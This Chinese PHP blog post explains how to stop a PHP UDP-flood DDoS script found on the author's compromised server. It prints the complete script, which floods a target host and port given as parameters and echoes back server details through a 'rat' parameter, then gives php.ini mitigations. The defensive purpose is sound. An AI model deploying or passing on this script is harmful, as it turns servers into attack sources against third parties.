php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
php xml-rpc远程调用
Dec 19 PHP
连接到txt文本的超链接,不直接打开而是点击后下载的处理方法
Jul 01 PHP
一个PHP数组应该有多大的分析
Jul 30 PHP
php ckeditor上传图片文件名乱码解决方法
Nov 15 PHP
php环境套包 dedeampz 伪静态设置示例
Mar 26 PHP
教你如何开启shopnc b2b2c 伪静态
Oct 21 PHP
详解js异步文件加载器
Jan 24 PHP
Zend Framework教程之路由功能Zend_Controller_Router详解
Mar 07 PHP
PHP对象、模式与实践之高级特性分析
Dec 08 PHP
PHP判断是手机端还是PC端 PHP判断是否是微信浏览器
Mar 15 PHP
thinkPHP5.0框架独立配置与动态配置方法
Mar 17 PHP
实例讲解YII2中多表关联的使用方法
Jul 21 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
浅析Yii2缓存的使用
2016/05/10 PHP
PHP+Apache实现二级域名之间共享cookie的方法
2019/07/24 PHP
js日历功能对象
2012/01/12 Javascript
js实现一个省市区三级联动选择框代码分享
2013/03/06 Javascript
javascript调试过程中找不到哪里出错的可能原因
2013/12/16 Javascript
jquery退出each循环的写法
2014/02/26 Javascript
jQuery提示效果代码分享
2014/11/20 Javascript
jQuery+jRange实现滑动选取数值范围特效
2015/03/14 Javascript
浅谈JavaScript 覆盖原型以及更改原型
2016/08/31 Javascript
jQuery插件FusionWidgets实现的AngularGauge图效果示例【附demo源码】
2017/03/23 jQuery
AngularJS1.X学习笔记2-数据绑定详解
2017/04/01 Javascript
ES6教程之for循环和Map,Set用法分析
2017/04/10 Javascript
node中Express 动态设置端口的方法
2017/08/04 Javascript
vue-cli 3如何使用vue-bootstrap-datetimepicker日期插件
2021/02/20 Vue.js
[01:54]TI4西雅图DOTA2选手欢迎晚宴 现场报道
2014/07/08 DOTA
Python基于Floyd算法求解最短路径距离问题实例详解
2018/05/16 Python
完美解决Pycharm无法导入包的问题 Unresolved reference
2018/05/18 Python
用python写扫雷游戏实例代码分享
2018/05/27 Python
浅谈Django的缓存机制
2018/08/23 Python
Python实现压缩文件夹与解压缩zip文件的方法
2018/09/01 Python
python判断文件夹内是否存在指定后缀文件的实例
2019/06/10 Python
Python Django框架模板渲染功能示例
2019/11/08 Python
Python Des加密解密如何实现软件注册码机器码
2020/01/08 Python
python 已知一个字符,在一个list中找出近似值或相似值实现模糊匹配
2020/02/29 Python
PyCharm License Activation激活码失效问题的解决方法(图文详解)
2020/03/12 Python
Django如何继承AbstractUser扩展字段
2020/11/27 Python
Python3.8.2安装包及安装教程图文详解(附安装包)
2020/11/28 Python
python tkinter实现下载进度条及抖音视频去水印原理
2021/02/07 Python
法律工作求职自荐信
2013/10/31 职场文书
经贸日语专业个人求职信范文
2013/12/28 职场文书
大学生求职信范文应怎么写
2014/01/01 职场文书
写给女朋友的道歉信
2014/01/12 职场文书
求职信内容怎么写
2014/05/26 职场文书
2013年最新自荐信范文
2014/06/23 职场文书
五年级小学生评语
2014/12/26 职场文书
pycharm代码删除恢复的方法
2021/06/26 Python